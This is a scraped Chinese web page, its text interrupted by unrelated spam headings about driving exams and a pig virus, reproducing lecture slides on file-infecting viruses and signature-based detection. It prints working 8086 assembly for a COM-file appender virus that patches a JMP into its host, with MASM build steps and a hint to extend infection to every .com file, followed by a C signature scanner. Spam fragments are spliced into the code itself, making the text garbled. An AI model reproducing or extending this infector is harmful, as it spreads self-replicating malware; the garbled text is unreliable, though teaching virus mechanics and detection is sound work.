b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

文件型病毒的机理实例和测试

电脑杂谈  发布时间:2020-02-10 18:00:36  来源:网络整理

高致病性猪蓝耳病毒ch-1r株属于哪个型_wsdl文件简介(附例子)_文件型病毒往往附在

文件型病毒的机理、实例和测试常用的病毒分类 文件型病毒 引导型病毒 宏病毒 网络病毒– 网页病毒恶意代码– 脚本病毒– 蠕虫病毒– 邮件病毒– 木马病毒文件型病毒 文件型病毒定义– 文件型病毒是主要感染能执行文件的细菌它一般隐藏在宿主程序中执行宿主程序时即将先执行病毒程序再执行宿主程序 文件型病毒传播途径– 当宿主程序运行时病毒程序首先运行之后驻留在存储中再企图感染其他的能执行程序达到传播的目的文件型病毒 文件型病毒的传染对象– 扩展名是COM以及EXE的文件是文件型病毒传染的主要对象文件型病毒破坏过程系统开启运行.com或.exe文件病毒随文件转到内存对调入内存的新文件实行监控判断新文件是否被感染Yes判断是否依照病毒触发条件Yes激活病毒实施破坏实施感染引导模块破坏模块传染模块文件型病毒 文件型病毒种类– 前后附加型附加在文件的开头以及末尾– 覆盖型覆盖后源文件长度不变便于隐藏– 伴随型文件中插入跳转命令。

高致病性猪蓝耳病毒ch-1r株属于哪个型_wsdl文件简介(附例子)_文件型病毒往往附在

伴随病毒不改变被传染的文件只是为被感染的文件建立一个伴随文件病毒文件感染COM文件的一种方法├ JMP XXXX:XXXX ┤-----------------------------├原程序-----------------------------├病 毒-----------------------------┤┤文件型病毒举例—CIH 主要感染Windows95/98下的能执行文件 经历了v1.0v1.1、v1.2、v1.3、v1.4总共5个版本危害最大的是v1.2版本此版本只在今年的4月26日发作 当运行了带毒的文件后CIH病毒驻留内存再运行其他.exe文件时首先在文件中搜索“caves”字符如果没有发现就立刻传染 CIH病毒发作时硬盘数据、硬盘主引导记录、系统引导扇区、文件分配表被覆盖造成内存数据非常是C盘数据损坏并破坏部分类型的主板上的Flash BIOS导致计算机无法使用汇编virus代码示例 该细菌文件感染的是同目录下名为mycom1的com文件– 目标文件应感染的文件mycom1.com– 病毒文件virus1.com 目标文件的asm代码如下code segmentorg 100hassume cs:code,ds:code,es:codemain proc nearmov ax,4c00hint 21hcode endsend main本com文件的实际有效指令 下面我们来预测病毒文件的工作过程调用目标文件mycom1.com移动文件指针到文件(mycom1.com)尾部根据mycom1.com的尾部地址构造JMP指令文件尾部是病毒代码的开始处也就是jmp要跳转至的地址将病毒体(virus1.com)附加在感染文件(mycom1.com)后面移动文件指针到文件(mycom1.com)开头将构造好的 JMP 指令读取文件mycom1.com的起始处关闭文件开启目标文件mycom1.commov ax,4c00hint 21h::Mycom1.com文件指针Jmp (pop si). pop si sub si,offset locate mov ax,word ptrds:first_3byte[si] mov ds:[100h],ax mov al,ds:first_3byte[si+2]mov ds:[102h],al::::::1. 打开目标文件2. 读入目标文件3. 移动文件指针到文件尾部4. 构造JMP指令5. 病毒体(virus1.com)附加在Mycom1.com后面6. 移动文件指针到mycom1开头7. 将构造好的 JMP 指令读取文件指针处(mycom1的起始处)8. 关闭文件补充 关于dos功能调用的读取号– 调用号存入寄存器ax的高8位也就是ah中命令为mov ah, 调用号– Dos功能调用以指令以int 21h结束– 本程序中用到的读取号 打开文件3d 读文件3f 写文件40 关闭文件3e 移动文件指针42 接着来看病毒文件virus1.com的汇编代码 code segment start: vstart: locate:assume cs:code,ds:code,ss:codeorg 100hnopnopnopcall locatepop sisub si,offset locatemov ax,word ptr ds:first_3byte[si]mov ds:[100h],axmov al文件型病毒往往附在,ds:first_3byte[si+2]mov ds:[102h],al初始工作mov ax,3d02hlea dx,fname[si]int 21hmov bx,axmov ah,3fhmov cx,3lea dx,first_3byte[si]int 21hmov ax,4202hxor cx,cxxor dx,dxint 21hsub ax,3mov word ptr jmp_3byte[si+1],ax打开目标文件读文件移动文件指针到末尾计算跳转地址并构造jmp指令mov ax,4000hmov cx,vsizelea dx,vstart[si]int 21hmov ax,4200hxor cx,cxxor dx,dxint 21hmov ah,40hmov cx,3lea dx,jmp_3byte[si]int 21hmov ah,3ehint 21h病毒附加到文件上面指针移动到文件开头写入jmp指令这条指令覆盖了原文件的第一条指令关闭文件mov ax,100hpush axretfirst_3byte db 0cdh,20h,0jmp_3byte db 0e9h,?,?fnamevsize equ $-offset vstartcode endsend startdb 'mycom1.com',0善后工作 病毒代码运行后– mycom1.com的第一条语句mov ax,4c00h被jmp 0105语句覆盖– mycom1.com的第二条语句前面附加了virus1的代码 Mycom1.com没被感染前: Mycom1.com被感染后:附加的病毒代码已被跳转指令覆盖 问题– 考虑感染的通用性问题怎样感染相似目录下的所有com文件*.com? 提示– 需要遍历查找所有的匹配项后缀为.com的文件考虑dos调用4e查找第一个匹配项和4f查找下一个匹配项MASM使用方式 把MASM放在跟目录下诸如E:\MASM 把编辑好的ASM文件(用TXT文档编写程序,保存.把后缀名TXT改成ASM)放在MASM文件夹下如(E:\MASM\文件名.ASM) 点击开始菜单 .运行->CMD->E:回车->CD MASM回车,进入masm环境 编译 -> masm 文件名 3下回车 连接->link 文件名 3下回车本试验中run file的后缀名exe改为com 运行->文件名. Com 调试 ->debug 文件名 . Com– 调试选项 u反编译– 调试选项d查看内存内容病毒测试方式特征代码法 概念– 利用病毒留在受感染文件中的细菌特征值进行测试– 对比文件与病毒中的病毒特性代码检测文件是否带有病毒特征代码法 特征码是哪个呢– 一串表明病毒自身特性的十六进制的字串– 比如说如果在第1034字节处是以下的内容0xec , 0x99, 0x80,0x99就表示是病毒– 所以0xec , 0x99, 0x80,0x99就是病毒得特征码– 特征码通常都选得更长有时可达数十字节一般也会选择多个以确保正确判定病毒特征码的储存数据结构实例 typedef struct tagVSIGNATURE { BAV_SIGN_TYPE eType; DWORD dwOffset; DWORD dwSize; BYTE Signature[MAX_SIGNATURE_LEN]; }VSIGNATURE,*PVSIGNATURE;特征代码法 某病毒的特点码表示 { BS_PHY_FILE, 0, 32, 0x58, 0x35, 0x4F, 0x21, 0x50, 0x25, 0x40, 0x41, 0x50, 0x5B, 0x34, 0x5C, 0x50, 0x5A, 0x58, 0x35, 0x34, 0x28, 0x50, 0x5E, 0x29, 0x37, 0x43, 0x43, 0x29, 0x37, 0x7D, 0x24, 0x45, 0x49, 0x43, 0x41, }特征代码法 以上是病毒的一条特征码通常病毒会有多条特征码也就是有多个VSIGNATURE 的结构 用一个新的数据结构来把一个病毒的所有VSIGNATURE 组织在一起这样就组成了对该病毒的完整叙述 把这种完整的表述用链表组织出来就是我们的病毒特征代码法 特征代码法的特点– 检测精确快速– 可辨识病毒的名称– 误报警率低– 依据测量结果可做解毒处理– 是测试已知病毒的更简单、开销最小的方式特征代码法 特征代码法的特点– 不能检测未知病毒。

高致病性猪蓝耳病毒ch-1r株属于哪个型_wsdl文件简介(附例子)_文件型病毒往往附在

– 不能检查多态性病毒。– 不能对付隐蔽性病毒。– 随着病毒类型的较多逐一检查和收集已知病毒的特点代码虽然价格开销大并且在网络上运行精度低影响这些软件的实用性附特征码测试的一个例子 不妨设某病毒的特点码表示如下– 文件偏移地址0x0c90提取特征码长度0x20(32)特征码内容0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36 38 2E 30 B0 64 21 73 05 3C 83 98 1B 76 5B 36 8B 假设应评估的文件为c:\\sampleV.exe 用程序来实现代码如下 # include # include bool scanvir(const char *file,long offset, int length, void *vir); main() { int i;unsigned char vir[]={0x0A,0x73,0x53,0x41,0x2E,0x65,0x78,0x30,0x5C,0x5C,0x31,0x39,0x32,0x2E,0x31,0x36,0x38,0x2E,0x30,0xB0,0x64文件型病毒往往附在,0x21,0x73,0x05,0x3C,0x83,0x98,0x1B,0x76,0x5B,0x36,0x8B};if(i==0) printf("没有发现病毒。

文件型病毒往往附在_wsdl文件简介(附例子)_高致病性猪蓝耳病毒ch-1r株属于哪个型

\n");}待续i=scanvir("c:\\sampleV.exe",0x0c90,0x20,vir); //调用查毒函数if(i==1) printf("警告!发现病毒。\n"); bool scanvir(const char *file,long offset, int length, void *vir){FILE *fp = NULL; int a=0;char rvir[255]={0};bool b=false;fp=fopen(file,“rb”); //以2进制打开指定文件if(NULL==fp){goto novir;}fseek(fp,offset,SEEK_SET); //把文件指针指向偏移地址fread(rvir,length,1,fp); //读取length长度的代码a=memcmp(vir,rvir,length); //与提取的代码相当返回值放到a中if(a==0) { b=true; }novir:if(fp){ fclose(fp); fp=NULL; }return b;}续上页 问题– 改进为某些病毒的专杀工具文件型病毒特征码查杀实例 回到上面病毒感染中用到了实例对病毒virus1.com进行查杀 这里virus1.com是由virus.txt用masm编译连接后形成的能执行文件 Virus1.com反汇编确定特征码 确定特征码的偏差和长度 编写程序 运行结果思考和练习 文件型病毒的防治 编程练习


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-140321-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      每日福利
      热点图片
      拼命载入中...